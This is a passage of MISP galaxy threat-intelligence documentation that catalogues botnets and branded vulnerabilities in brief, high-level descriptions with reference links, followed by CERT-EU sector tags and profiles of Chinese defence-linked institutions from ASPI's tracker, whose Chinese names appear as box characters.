Proofpoint describes Phorpiex/Trik as a SDBot fork (thus IRC-based) that has been used to distribute GandCrab, Pushdo, Pony, and coinminers. The name Trik is derived from PDB strings.

The tag is: *misp-galaxy:botnet="Phorpiex"*

Phorpiex is also known as:

- Trik

Table 691. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex

DDG

First activity observed in October 2017. DDG is a botnet with P2P capability that is targeting crypto currency mining (Monero).

The tag is: *misp-galaxy:botnet="DDG"*

View relationships graph

DDG has relationships with:

- similar: misp-galaxy:malpedia="DDG" with estimative-language:likelihood-probability="likely"

Table 692. Table References

Links
https://twitter.com/JiaYu_521/status/1204248344043778048
https://blog.netlab.360.com/ddg-a-mining-botnet-aiming-at-database-servers/
https://blog.netlab.360.com/ddg-botnet-round-x-is-there-an-ending/
https://blog.netlab.360.com/threat-alert-ddg-3013-is-out/
https://blog.netlab.360.com/old-botnets-never-die-and-ddg-refuse-to-fade-away/
https://blog.netlab.360.com/ddg-mining-botnet-jin-qi-huo-dong-fen-xi/
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ddg

Glupteba

A multi-component botnet targeting Windows Computer. Glupteba is known to steal user credentials and cookies, mine cryptocurrencies on infected hosts, deploy and operate proxy components targeting Windows systems and IoT devices. The botnet has been observed targeting victims worldwide, including the US, India, Brazil and Southeast Asia. The Glupteba malware family is primarily distributed through pay per install (PPI) networks and via traffic purchased from traffic distribution systems (TDS).

The tag is: *misp-galaxy:botnet="Glupteba"*

Table 693. Table References

Links
https://blog.google/threat-analysis-group/disrupting-glupteba-operation/

Elknot

DDoS Botnet

The tag is: *misp-galaxy:botnet="Elknot"*

Elknot is also known as:

- Linux/BillGates
- BillGates

Table 694. Table References

Links
https://www.virusbulletin.com/conference/vb2016/abstracts/elknot-ddos-botnets-we-watched
https://www.virusbulletin.com/uploads/pdf/conference_slides/2016/Liu_Wang-vb-2016-TheElknotDDoSBotnetsWeWatched.pdf

Cyclops Blink

Advanced modular botnet that is reportedly linked to the Sandworm or Voodoo Bear advanced persistent threat (APT) group.

The tag is: *misp-galaxy:botnet="Cyclops Blink"*

Table 695. Table References

Links
https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html
https://www.cisa.gov/uscert/ncas/alerts/aa22-054a

Abcbot

Botnet

The tag is: *misp-galaxy:botnet="Abcbot"*

Table 696. Table References

Links
https://blog.netlab.360.com/abcbot_an_evolving_botnet_en

Ripprbot

Botnet

The tag is: *misp-galaxy:botnet="Ripprbot"*

Table 697. Table References

Links
https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days

EnemyBot

In mid-March [2022], FortiGuard Labs observed a new DDoS botnet calling itself “Enemybot” and attributing itself to Keksec, a threat group that specializes in cryptomining and DDoS attacks.

This botnet is mainly derived from Gafgyt’s source code but has been observed to borrow several modules from Mirai’s original source code.

It uses several methods of obfuscation for its strings to hinder analysis and hide itself from other botnets. Furthermore, it connects to a command-and-control (C2) server that is hidden in the Tor network, making its takedown more complicated.

Enemybot has been seen targeting routers from Seowon Intech, D-Link, and exploits a recently reported iRZ router vulnerability to infect more devices.

The tag is: *misp-galaxy:botnet="EnemyBot"*

View relationships graph

EnemyBot has relationships with:

- similar: misp-galaxy:malpedia="EnemyBot" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Mirai" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Gafgyt" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Zeus" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Qbot" with estimative-language:likelihood-probability="likely"

Table 698. Table References

Links

https://www.securonix.com/blog/detecting-the-enemybot-botnet-advisory/
https://malpedia.caad.fkie.fraunhofer.de/details/elf.enemybot
https://www.fortinet.com/blog/threat-research/enemybot-a-look-into-keksecs-latest-ddos-botnet
https://cybersecurity.att.com/blogs/labs-research/rapidly-evolving-iot-malware-enemybot-now-targeting-content-management-system-servers

Qbot

Discovered in 2008 and under constant development, with gaps in operational use in the wild; operators are occasionally known as GOLD LAGOON. Banking Trojan, steals financial data, browser information/hooks, keystrokes, credentials; described by CheckPoint as a “Swiss Army knife”. Known to leverage many other tools; for example, PowerShell and Mimikatz are used for self-propagation. Attempts obfuscation via legitimate process injection. Known to serve as a dropper for ProLock ransomware. Infection vectors are common, with malspam as the most frequent. Active in 2020 – two big campaigns, one from March to June, second Starting in July and ongoing, as part of latest Emotet campaign. Newer version appeared in August.

The tag is: *misp-galaxy:botnet="Qbot"*

Qbot is also known as:

- QakBot
- Pinkslipbot

View relationships graph

Qbot has relationships with:

- dropped: misp-galaxy:ransomware="ProLock" with estimative-language:likelihood-probability="likely"

Table 699. Table References

Links
https://www.cisa.gov/sites/default/files/publications/202010221030_QakBot%20TLPWHITE.pdf

Dark.IoT

This malware is characterized by alternative DNS connections and connects to several *.lib domains using custom DNS servers.

The tag is: *misp-galaxy:botnet="Dark.IoT"*

View relationships graph

Dark.IoT has relationships with:

- variant-of: misp-galaxy:botnet="Mirai" with estimative-language:likelihood-probability="likely"

Table 700. Table References

Links
https://www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/

Branded Vulnerability

List of known vulnerabilities and attacks with a branding.

Branded Vulnerability is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Unknown

Meltdown

Meltdown exploits the out-of-order execution feature of modern processors, allowing user-level programs to access kernel memory using processor caches as covert side channels. This is specific to the way out-of-order execution is implemented in the processors. This vulnerability has been assigned CVE-2017-5754.

The tag is: *misp-galaxy:branded-vulnerability="Meltdown"*

Spectre

Spectre exploits the speculative execution feature that is present in almost all processors in existence today. Two variants of Spectre are known and seem to depend on what is used to influence erroneous speculative execution. The first variant triggers speculative execution by performing a bounds check bypass and has been assigned CVE-2017-5753. The second variant uses branch target injection for the same effect and has been assigned CVE-2017-5715.

The tag is: *misp-galaxy:branded-vulnerability="Spectre"*

Heartbleed

Heartbleed is a security bug in the OpenSSL cryptography library, which is a widely used implementation of the Transport Layer Security (TLS) protocol. It was introduced into the software in 2012 and publicly disclosed in April 2014. Heartbleed may be exploited regardless of whether the vulnerable OpenSSL instance is running as a TLS server or client. It results from improper input validation (due to a missing bounds check) in the implementation of the TLS heartbeat extension, thus the bug's name derives from heartbeat. The vulnerability is classified as a buffer over-read,[5] a situation where more data can be read than should be allowed.

The tag is: *misp-galaxy:branded-vulnerability="Heartbleed"*

Shellshock

Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.

The tag is: *misp-galaxy:branded-vulnerability="Shellshock"*

Ghost

The GHOST vulnerability is a serious weakness in the Linux glibc library. It allows attackers to remotely take complete control of the victim system without having any prior knowledge of system credentials. CVE-2015-0235 has been assigned to this issue. During a code audit Qualys researchers discovered a buffer overflow in the __nss_hostname_digits_dots() function of glibc. This bug can be triggered both locally and remotely via all the gethostbyname*() functions. Applications have access to the DNS resolver primarily through the gethostbyname*() set of functions. These functions convert a hostname into an IP address.

The tag is: *misp-galaxy:branded-vulnerability="Ghost"*

Stagefright

Stagefright is the name given to a group of software bugs that affect versions 2.2 ("Froyo") and newer of the Android operating system. The name is taken from the affected library, which among other things, is used to unpack MMS messages. Exploitation of the bug allows an attacker to perform arbitrary operations on the victim's device through remote code execution and privilege escalation. Security researchers demonstrate the bugs with a proof of concept that sends specially crafted MMS messages to the victim device and in most cases requires no end-user actions upon message reception to succeed—the user doesn't have to do anything to 'accept' the bug, it happens in the background. The phone number is the only target information.

The tag is: *misp-galaxy:branded-vulnerability="Stagefright"*

Badlock

Badlock is a security bug disclosed on April 12, 2016 affecting the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) remote protocols[1] supported by Windows and Samba servers.

The tag is: *misp-galaxy:branded-vulnerability="Badlock"*

Dirty COW

Dirty COW (Dirty copy-on-write) is a computer security vulnerability for the Linux kernel that affects all Linux-based operating systems including Android. It is a local privilege escalation bug that exploits a race condition in the implementation of the copy-on-write mechanism in the kernel’s memory-management subsystem. The vulnerability was discovered by Phil Oester. Because of the race condition, with the right timing, a local attacker can exploit the copy-on-write mechanism to turn a read-only mapping of a file into a writable mapping. Although it is a local privilege escalation, remote attackers can use it in conjunction with other exploits that allow remote execution of non-privileged code to achieve remote root access on a computer. The attack itself does not leave traces in the system log.

The tag is: *misp-galaxy:branded-vulnerability="Dirty COW"*

POODLE

The POODLE attack (which stands for "Padding Oracle On Downgraded Legacy Encryptio") is a man-in-the-middle exploit which takes advantage of Internet and security software clients' fallback to SSL 3.0. If attackers successfully exploit this vulnerability, on average, they only need to make 256 SSL 3.0 requests to reveal one byte of encrypted messages. Bodo Möller, Thai Duong and Krzysztof Kotowicz from the Google Security Team discovered this vulnerability; they disclosed the vulnerability publicly on October 14, 2014 (despite the paper being dated "September 2014"). Ivan Ristic does not consider the POODLE attack as serious as the Heartbleed and Shellshock attacks. On December 8, 2014 a variation of the POODLE vulnerability that affected TLS was announced.

The tag is: *misp-galaxy:branded-vulnerability="POODLE"*

BadUSB

The ‘BadUSB’ vulnerability exploits unprotected firmware in order to deliver malicious code to computers and networks. This is achieved by reverse-engineering the device and reprogramming it. As the reprogrammed firmware is not monitored or assessed by modern security software, this attack method is extremely difficult for antivirus/security software to detect and prevent.

The tag is: *misp-galaxy:branded-vulnerability="BadUSB"*

ImageTragick

The tag is: *misp-galaxy:branded-vulnerability="ImageTragick"*

Blacknurse

Blacknurse is a low bandwidth DDoS attack involving ICMP Type 3 Code 3 packets causing high CPU loads first discovered in November 2016. The earliest samples we have seen supporting this DDoS method are from September 2017.

The tag is: *misp-galaxy:branded-vulnerability="Blacknurse"*

SPOILER

SPOILER is a security vulnerability on modern computer central processing units that uses speculative execution to improve the efficiency of Rowhammer and other related memory and cache attacks. According to reports, all modern Intel CPUs are vulnerable to the attack. AMD has stated that its processors are not vulnerable.

The tag is: *misp-galaxy:branded-vulnerability="SPOILER"*

Table 701. Table References

Links
https://arxiv.org/pdf/1903.00446v1.pdf
https://appleinsider.com/articles/19/03/05/new-spoiler-vulnerability-in-all-intel-core-processors-exposed-by-researchers
https://www.overclock3d.net/news/cpu_mainboard/spoiler_alert_-*intel_cpus_impacted_by_new_vulnerability/1[https://www.overclock3d.net/news/cpu_mainboard/spoiler_alert*-_intel_cpus_impacted_by_new_vulnerability/1]
https://www.1e.com/news-insights/blogs/the-spoiler-vulnerability/
https://www.bleepingcomputer.com/news/security/amd-believes-spoiler-vulnerability-does-not-impact-its-processors/

BlueKeep

A ‘wormable’ critical Remote Code Execution (RCE) vulnerability in Remote Desktop Services that could soon become the new go-to vector for spreading malware

The tag is: *misp-galaxy:branded-vulnerability="BlueKeep"*

Table 702. Table References

Links
https://www.welivesecurity.com/2019/05/22/patch-now-bluekeep-vulnerability/

Cert EU GovSector

Cert EU GovSector.

Cert EU GovSector is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Various

Constituency

The tag is: *misp-galaxy:cert-eu-govsector="Constituency"*

EU-Centric

The tag is: *misp-galaxy:cert-eu-govsector="EU-Centric"*

EU-nearby

The tag is: *misp-galaxy:cert-eu-govsector="EU-nearby"*

World-class

The tag is: *misp-galaxy:cert-eu-govsector="World-class"*

Unknown

The tag is: *misp-galaxy:cert-eu-govsector="Unknown"*

Outside World

The tag is: *misp-galaxy:cert-eu-govsector="Outside World"*

China Defence Universities Tracker

The China Defence Universities Tracker is a database of Chinese institutions engaged in military or security-related science and technology research. It was created by ASPI's International Cyber Policy Centre..

> China Defence Universities Tracker is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors
: Australian Strategic Policy Institute

Academy of Military Science (□□□□□□□□□□□□)

AMS is responsible for leading and coordinating military science for the whole military. AMS is involved in not only the development of theory, strategy, and doctrine but also advancing national defense innovation. Pursuant to the PLA reforms, AMS has undergone dramatic changes starting in June 2017. At a July 2017 ceremony marking the AMS's reorganisation, Xi urged the AMS to construct a 'world-class military scientific research institution.' Through the National Defence Science and Technology Innovation Institute, the AMS is pursuing research in cutting-edge technologies including unmanned systems, artificial intelligence, biotechnology and quantum technology.

The tag is: *misp-galaxy:china-defence-universities="Academy of Military Science (□□□□□□□□□□□□)"*

Table 703. Table References

Links
https://unitracker.aspi.org.au/universities/academy-of-military-science

Aero Engine Corporation of China (□□□□□□□□□□□□□)

AECC is a leading producer of aircraft parts for the People’s Liberation Army (PLA), having separated from its parent company the Aviation Industry Corporation of China (AVIC) in 2016. The company reports having 27 affiliated or subordinate companies, three major listed companies, and 84,000 staff. AVIC and the Commercial Aircraft Corporation of China (also known as COMAC) are major shareholders in AECC.AECC’s main products include aircraft engines, combustion gas turbines, and transmission systems. AECC also develops aircraft power units, helicopter drive systems, monocrystalline blades, turbine disks, and graphene.AECC was established in order to improve China’s capability in developing domestically built aircraft engines as part of the ‘Made in China 2025’ program. A priority is strengthening its supply chains within China. Though indigenously developed engines have proven challenging for AECC, the company had purported success in providing thrust vector control technology for the J-10B fighter jet.

The tag is: *misp-galaxy:china-defence-universities="Aero Engine Corporation of China (□□□□□□□□□□□□□)"*

Table 704. Table References

Links
https://unitracker.aspi.org.au/universities/aero-engine-corporation-of-china

Air Force Command College (□□□□□□□□□□□□□)

The PLA Air Force Command College in Beijing is considered the PLA Air Force’s ‘peak institution for educating mid-rank and senior officers’ for command posts across the service. The college has a long history and was initially established in Nanjing during the early years of the People’s Republic in 1958.The Air Force Command College offers a range of degree programmes, mainly at the postgraduate level, including training in military disciplines such as military history, strategy, and tactics. It has published research on control science and radar. The college’s other specialties include battlefield command, military operations as well as political–ideological education.

The tag is: *misp-galaxy:china-defence-universities="Air Force Command College (□□□□□□□□□□□□□)"*

Table 705. Table References

Links
https://unitracker.aspi.org.au/universities/air-force-command-college

Air Force Communication NCO Academy (□□□□□□□□□□□□□□□)

The Air Force Communications Officers Academy is the PLA’s premier institution for the training of non-commissioned officers in communications systems and security. Established in 1986 as the Dalian Communications NCO College, the institution was renamed after Xi Jinping’s military reforms in 2017. The academy’s areas of research include command automation and satellite communications, along with wired and wireless communications.

The tag is: *misp-galaxy:china-defence-universities="Air Force Communication NCO Academy (□□□□□□□□□□□□□□□)"*

Table 706. Table References

Links
https://unitracker.aspi.org.au/universities/air-force-communications-officers-college

Air Force Early Warning Academy (□□□□□□□□□□□□□)

The Air Force Early Warning Academy is ‘an institution that trains military personnel from the PLA Air Force and Navy’s radar and electronic warfare units in command, engineering and technology’ that was established after the amalgamation of the Air Defence Academy and Radar College in 1958. As such, the Air Force Early Warning Academy focuses its research on radar engineering, information command systems engineering, networked command engineering, and early warning detection systems.

The tag is: *misp-galaxy:china-defence-universities="Air Force Early Warning Academy (□□□□□□□□□□□□□)"*

Table 707. Table References

Links
https://unitracker.aspi.org.au/universities/air-force-early-warning-academy

Air Force Engineering University (□□□□□□□□□□□□□)

The Air Force Engineering University (AFEU) is one of the PLA’s five comprehensive universities alongside NUDT, Naval Engineering University, PLA Information Engineering University and Army Engineering University. It trains students in a variety of engineering and military disciplines related to air combat.AFEU currently has around 8,000 students, including 1,600 postgraduate students. Its priority areas include technical studies in information and communication systems engineering as well as in social sciences such as in professional military training. Research into unmanned aerial vehicle technology is another important area of research at the university. In 2017, China’s Ministry of Education ranked AFEU equal fourth for armament science out of nine universities, only awarding it a B- grade for the discipline.Colleges under AFEU include:

The tag is: *misp-galaxy:china-defence-universities="Air Force Engineering University*

(□□□□□□□□□□□□□)"

Table 708. Table References

Links
https://unitracker.aspi.org.au/universities/air-force-engineering-university

Air Force Flight Academy Shijiazhuang (□□□□□□□□□)

Air Force Flight Academy Shijiazhuang (□□□□□□□□□)

The tag is: *misp-galaxy:china-defence-universities="Air Force Flight Academy Shijiazhuang (□□□□□□□□□)"*

Table 709. Table References

Links
https://unitracker.aspi.org.au/universities/air-force-flight-academy-shijiazhuang

Air Force Harbin Flight Academy (□□□□□□□□□)

The Academy is home to the Air Force Harbin Flight Academy Simulation Training Center, 2,500m2 large-scale aircraft simulator where students can train in simulated transport and bomber aircraft. The Academy hopes to continue developing the Simulation Training Center into a 'laboratory for air operations,' including advanced trainings like simulated tactical confrontations.

The tag is: *misp-galaxy:china-defence-universities="Air Force Harbin Flight Academy (□□□□□□□□□)"*

Table 710. Table References

Links
https://unitracker.aspi.org.au/universities/air-force-harbin-flight-academy

Air Force Logistics University (□□□□□□□□□□□□□)

The Air Force Logistics University is an institution devoted to the study of command, management and technology for the PLA, established in Shanxi by the Central Military Commission in 1954. The university focusses its research on 'management engineering' for military equipment such as weaponry and aircraft fuel and also maintains research programmes on air battle command and personnel management.

The tag is: *misp-galaxy:china-defence-universities="Air Force Logistics University (□□□□□□□□□□□□□)"*

Table 711. Table References

Links
https://unitracker.aspi.org.au/universities/air-force-logistics-university

Air Force Medical University (□□□□□□□□□□□□□□□□)

The Air Force Medical University, also known as the Fourth Military Medical University, is the PLA’s premier institution for research into medical and psychological sciences, having been placed under command of the Air Force after Xi Jinping’s military reforms in 2017. Its major areas of study are medical and psychological sciences tailored for personnel engaging in air and space operations, military preventative medicine and various other forms of clinical research.The Air Force Medical University conducts significant amounts of psychological research. Scientists from the Air Force Medical University have written studies on suicide, mental health across China, and mental health in military universities. The university’s scientists have also looked at the extent to which mindfulness training can reduce anxiety for undergraduates at military universities, and at how fear induced by virtual combat scenarios impacts decision-making. This indicates that the university is interested in issues of troop morale and decision-making in high-stress situations.

The tag is: *misp-galaxy:china-defence-universities="Air Force Medical University (□□□□□□□□□□□□□□□□)"*

Table 712. Table References

Links
https://unitracker.aspi.org.au/universities/fourth-military-medical-university

Air Force Research Institute (□□□□□□□□□□□□□□□)

The Air Force Research Institute is an air force scientific research institute, the successor to the Air Force Equipment Academy (□□□□□□□), that was established in 2017. The institute runs the Key Laboratory of Complex Aviation System Simulation (□□□□□□□□□□□□□□□) and carries out research on areas such as aircraft design, flight control, guidance and navigation, and electronic countermeasures.

The tag is: *misp-galaxy:china-defence-universities="Air Force Research Institute (□□□□□□□□□□□□□□□)"*

Table 713. Table References

Links
https://unitracker.aspi.org.au/universities/air-force-research-institute

Air Force Xi’an Flight Academy (□□□□□□□□□□□□□□□□□□)

Created upon the merger of the PLA Air Force’s Second and Fifth Flight Academies in 2011, the Air Force Xi’an Flight Academy specialises in training airmen in aviation while passing on the PLA’s ‘revolutionary traditions’. It remains ‘one of the Air Force’s three advanced institutions in air combat, and is known to train the PLA Air Force’s JJ-7 fighter pilots. Given this focus on training, the institution engages in little scientific research.

The tag is: *misp-galaxy:china-defence-universities="Air Force Xi’an Flight Academy (□□□□□□□□□□□□□□□□□□)"*

Table 714. Table References

Links
https://unitracker.aspi.org.au/universities/air-force-xian-flight-academy

Anhui University (□□□□)

Anhui University is overseen by the Anhui Provincial Government. In January 2019, defence industry agency SASTIND and the Anhui Provincial Government signed an agreement to jointly develop Anhui University. This agreement with SASTIND suggests that the university will increase its role in defense research in the future.

The tag is: *misp-galaxy:china-defence-universities="Anhui University (□□□□)"*

Table 715. Table References

Links
https://unitracker.aspi.org.au/universities/anhui-university

Army Academy of Armored Forces (□□□□□□□□□□□□□□)

The Army Academy of the Armored Forces is China’s lead institute responsible for training and research for armoured combat. This includes a focus on tank warfare, mechanised artillery and infantry operations. The academy offers training in ‘armored combat command, surveillance and intelligence, operational tactics’ as well as in engineering disciplines relevant to operations involving the PLA Ground Force’s armoured corps, such as materials science, mechanical engineering, electrical engineering and automation, communications engineering, weapons systems engineering and photoelectric information science.

The tag is: *misp-galaxy:china-defence-universities="Army Academy of Armored Forces (□□□□□□□□□□□□□□)"*

Table 716. Table References

Links
https://unitracker.aspi.org.au/universities/army-academy-of-armored-forces

Army Academy of Artillery and Air Defense (□□□□□□□□□□□□□□□□)

The Army Academy of Artillery and Air Defense is an institution devoted to training artillery and air defence officers in the PLA Ground Force. Its areas of focus include electrical engineering and automation, munitions engineering and explosives technology, radar engineering, and missile engineering.

The tag is: *misp-galaxy:china-defence-universities="Army Academy of Artillery and Air Defense (□□□□□□□□□□□□□□□□)"*

Table 717. Table References

Links
https://unitracker.aspi.org.au/universities/army-academy-of-artillery-and-air-defense

Army Academy of Border and Coastal Defense (□□□□□□□□□□□□□)

With a history dating back to 1941, the Army Academy of Border and Coastal Defense is the only institution of higher education devoted to training PLA Ground Force personnel in border and coastal defence operations. Its subjects of focus include firepower command and control engineering, and command information systems engineering.

The tag is: *misp-galaxy:china-defence-universities="Army Academy of Border and Coastal Defense (□□□□□□□□□□□□□)"*

Table 718. Table References

Links
https://unitracker.aspi.org.au/universities/army-academy-of-border-and-coastal-defense

Army Aviation College (□□□□□□□□□□□□□□)

The Army Aviation College is the PLA’s institution responsible for training mid-career helicopter pilots from the PLA Air Force and aviation officers from the PLA Ground Force. The college’s subject areas include aircraft and engine design, aviation communications and air defence systems, flight radar maintenance engineering, and combat aircraft maintenance engineering.

The tag is: *misp-galaxy:china-defence-universities="Army Aviation College (□□□□□□□□□□□□□□)"*

Table 719. Table References

Links
https://unitracker.aspi.org.au/universities/army-aviation-college

Army Engineering University (□□□□□□□□□□□□□)

The Army Engineering University was established in 2017 following the abolition of the PLA University of Science and Technology. The university is devoted to research on ‘engineering, technology and combat command systems’ for the PLA Land Force.The university’s areas of research include:

The tag is: *misp-galaxy:china-defence-universities="Army Engineering University (□□□□□□□□□□□□□)"*

Table 720. Table References

Links
https://unitracker.aspi.org.au/universities/army-engineering-university

Army Infantry Academy (□□□□□□□□□□□□□)

The Army Infantry Academy is a higher education institution in China devoted to providing elementary training in command for infantry soldiers in the PLA Ground Force. The academy teaches courses in operational disciplines such as command information systems engineering, armored vehicles engineering and weapons systems engineering. As well as providing formal teaching, the Army Infantry Academy also provides oversight for training exercises and electronic warfare simulations.

The tag is: *misp-galaxy:china-defence-universities="Army Infantry Academy (□□□□□□□□□□□□□)"*

Table 721. Table References

Links
https://unitracker.aspi.org.au/universities/army-infantry-academy

Army Medical University (□□□□□□□□□□□□□)

The PLA Army Medical University, formerly known as the Third Military Medical University, is a medical education university affiliated with the PLA Ground Force. It was formed in 2017 through a merger with the PLA Western Theater Command Urumqi Comprehensive Training Base’s Military Medical Training Brigade and the Tibet Military Region’s Eighth Hospital. The Army Medical University includes six national key laboratories and 32 Ministry of Education or military key laboratories. It has won military awards for science and technology progress and seven national science and technology prizes.

The tag is: *misp-galaxy:china-defence-universities="Army Medical University (□□□□□□□□□□□□□)"*

Table 722. Table References

Links
https://unitracker.aspi.org.au/universities/army-medical-university

Army Military Transportation Academy (□□□□□□□□□□□□□□□)

The Army Military Transport Academy is a higher education institution devoted to training PLA Ground Force personnel in military transport and logistics. The academy focusses on military transport command engineering, command and automation engineering, ordnance engineering, and armament sustainment command.

The tag is: *misp-galaxy:china-defence-universities="Army Military Transportation Academy (□□□□□□□□□□□□□□□)"*

Table 723. Table References

Links
https://unitracker.aspi.org.au/universities/army-military-transportation-academy-2

Army Research Institute (□□□□□□□□□□□□□□)

The Army Research Institute is an institution devoted to advanced defence research with applications to land warfare. The institute engages in a variety of defence research including radar technology, lasers, and hybrid electric vehicles. Researchers from the institute are known to have collaborated with partners from China’s civilian universities in areas such as advanced manufacturing and automatic control, and laser technology.The Army Research Institute collaborates with civilian companies as part of China’s military-civil fusion program. For example, General Guo Guangsheng from the Army Research Institute made a visit to Hong Run Precision Instruments Co. Ltd. (□□□□□□□□□□) on 24 August 2019 to assess how the company was performing in its military-civil fusion activities. Researchers from the Army Research Institute have also been involved in the product design and development of dual-use automobiles as part of a military-civil fusion project called ‘Research, Development and Commerialisation of Advanced Off-road Passenger Vehicles’ (□□□□□□□□□□□□□□□□□□□□□). The project included research into vehicles such as the BJ80 military and civilian off-road passenger vehicles as well as the BJ40L off-road vehicle.

The tag is: *misp-galaxy:china-defence-universities="Army Research Institute (□□□□□□□□□□□□□□)"*

Table 724. Table References

Links
https://unitracker.aspi.org.au/universities/army-research-institute

Army Service Academy (□□□□□□□□□□□□□□□)

The Army Service Academy is an institution of higher education in the PLA devoted to training personnel in a variety of logistics disciplines. The logistics disciplines taught at the academy include: fuel logistics, military facility management, military procurement management, and integrated logistics management. Its areas of focus for defence research include military energy engineering, defence engineering, and management science and engineering.

The tag is: *misp-galaxy:china-defence-universities="Army Service Academy (□□□□□□□□□□□□□□□)"*

Table 725. Table References

Links
https://unitracker.aspi.org.au/universities/army-service-academy

Army Special Operations Academy (□□□□□□□□□□□□□□□□□□)

The academy’s key subjects include special operations command, surveillance and intelligence, and command information systems engineering.

The tag is: *misp-galaxy:china-defence-universities="Army Special Operations Academy (□□□□□□□□□□□□□□□□□□)"*

Table 726. Table References

Links

https://unitracker.aspi.org.au/universities/army-special-operations-academy

Aviation Industry Corporation of China (□□□□□□□□□□□□□)

AVIC is a state-owned defence conglomerate established in 2008 that focuses on providing aerospace products for military and civilian customers. AVIC’s main product lines include a variety of aircraft for freight, commercial and military aviation along with other more specialised products such as printed circuit boards, liquid crystal displays and automotive parts, according to Bloomberg. AVIC also provides services to the aviation sector through flight testing, engineering, logistics and asset management.The conglomerate has over 400,000 employees and has a controlling share in around 200 companies. AVIC has over 25 subsidiaries listed on its website.AVIC is the PLA Air Force’s largest supplier of military aircraft, producing fighter jets, strike aircraft, unmanned aerial vehicles and surveillance aircraft. Along with its core work on military aircraft, AVIC also produces surface-to-air, air-to-surface and air-to-air missiles. Its headline projects include the J-10 and the J-11 fighter aircraft. AVIC’s subsidiary, the Shenyang Aircraft Corporation, was responsible for delivery of the J-15 fighter. Another subsidiary of AVIC, the Chengdu Aerospace Corporation, developed the PLA-AF’s J-20 stealth fighter jet.

The tag is: *misp-galaxy:china-defence-universities="Aviation Industry Corporation of China (□□□□□□□□□□□□□)"*

Table 727. Table References

Links
https://unitracker.aspi.org.au/universities/aviation-industry-corporation-of-china

Aviation University of Air Force (□□□□□□□□□□□□□□)

AUAF is one of China’s main institutions devoted to the training of air force pilots. Its areas of focus are training in flight command and research into aeronautical engineering. Disciplines taught at AUAF include command science and engineering, aerospace science and technology as well as political work and military command.AUAF scientists publish and attend conferences on radar technology and electronic countermeasures. For example, scientists from AUAF’s Information Countermeasures Division co-authored a publication on radar target recognition with a researcher from the PLA’s Unit 94936 – an aviation unit stationed in Hangzhou. AUAF scientists have also done notable work on complex systems radar and signal pre-sorting.

The tag is: *misp-galaxy:china-defence-universities="Aviation University of Air Force (□□□□□□□□□□□□□□)"*

Table 728. Table References

Links
https://unitracker.aspi.org.au/universities/aviation-university-of-air-force

Beihang University (□□□□□□□□)

Beihang University engages in very high levels of defence research as one of the ‘Seven Sons of National Defence’ subordinate to the Ministry of Industry and Information Technology. The university specialises in aviation and spaceflight research. The top four employers of Beihang graduates in 2018 were all state-owned missile or defence aviation companies. In total, 29% of 2018 Beihang graduates who found employment were working in the defence sector.Beihang scientists are involved in the development of Chinese military aircraft and missiles. In 2018, the university signed a comprehensive strategic cooperation agreement with China Aerospace Science and Technology Corporation, a state-owned conglomerate that produces ballistic missiles and satellites. The university is also noteworthy for its leading research on stealth technology.Beihang hosts at least eight major defence laboratories working on fields such as aircraft engines, inertial navigation and fluid dynamics.

The tag is: *misp-galaxy:china-defence-universities="Beihang University (□□□□□□□□)"*

Table 729. Table References

Links
https://unitracker.aspi.org.au/universities/beihang-university

Beijing Electronic Science and Technology Institute (□□□□□□□□)

BESTI is a secretive university that trains information security experts for the bureaucracy. The institute is the only university run by the CCP General Office, which manages administrative matters for the Central Committee. The General Office is usually run by one of the general secretary’s most trusted aides. It oversees China’s cryptographic and state secrets agency as well as security for the party’s leadership.BESTI has a student population of around 2,000 and has strict admission requirements. Students at the university are scrutinized for their political beliefs, and are typically CCP or Communist Youth League members. The activities of their relatives are screened for political issues. Having no parents or siblings who worked abroad or were involved in ‘illegal organisations’ is a condition of enrolment. The institute claims to count 50 ministerial-level party officials among its 12,000 graduates.BESTI has a close relationship with Xidian University and Beijing University of Posts and Telecommunications. The two universities are its primary collaborators on scientific papers. BESTI runs joint master’s programs with Xidian University in cryptography, information and communication engineering, and computer applications technology. It also has joint doctoral programs with the University of Science and Technology of China and Beijing University of Posts and Telecommunications in cybersecurity.The university runs the Key Laboratory of Information Security (□□□□□□□□□/□□□□□□□□□□□□□). Several websites claim that it runs a joint laboratory with the Chinese Academy of Sciences Institute of High Energy Physics, but this could not be confirmed.

The tag is: *misp-galaxy:china-defence-universities="Beijing Electronic Science and Technology Institute (□□□□□□□□)"*

Table 730. Table References

Links
https://unitracker.aspi.org.au/universities/beijing-electronic-science-and-technology-institute

Beijing Institute of Technology (□□□□□□)

BIT is one of the 'Seven Sons of National Defence' supervised by MIIT. It is a leading centre of military research and one of only fourteen institutions accredited to award doctorates in weapons science. In 2017, China's Ministry of Education ranked BIT and Nanjing University of Science and Technology as the country's top institutions for weapons science. It has received the most defence research prizes and defence patents out of all China's universities. 31.80% of BIT graduates in 2018 who found employment were working in the defence sector.BIT's claimed achievements include producing the PRC's first light tank, first two-stage solid sounding rocket and first low-altitude altimetry radar. The university also states that it carries out world-class research on several areas of missile technology including "precision strikes, high damage efficiency, maneuver penetration, long-range suppression, and military communications systems and counter-measures". In 2018, BIT announced that it was running a four-year experimental program training some of China's top high school students in intelligent weapons systems.BIT is the chair of the B8 Cooperation Innovation Alliance (B8□□□□□□ or □□□□□□□□□□), a group of eight Chinese research institutions that specialize in weapons science—the 'B' in 'B8' stands for Chinese work for armaments, bingqi (□□).BIT's central role in 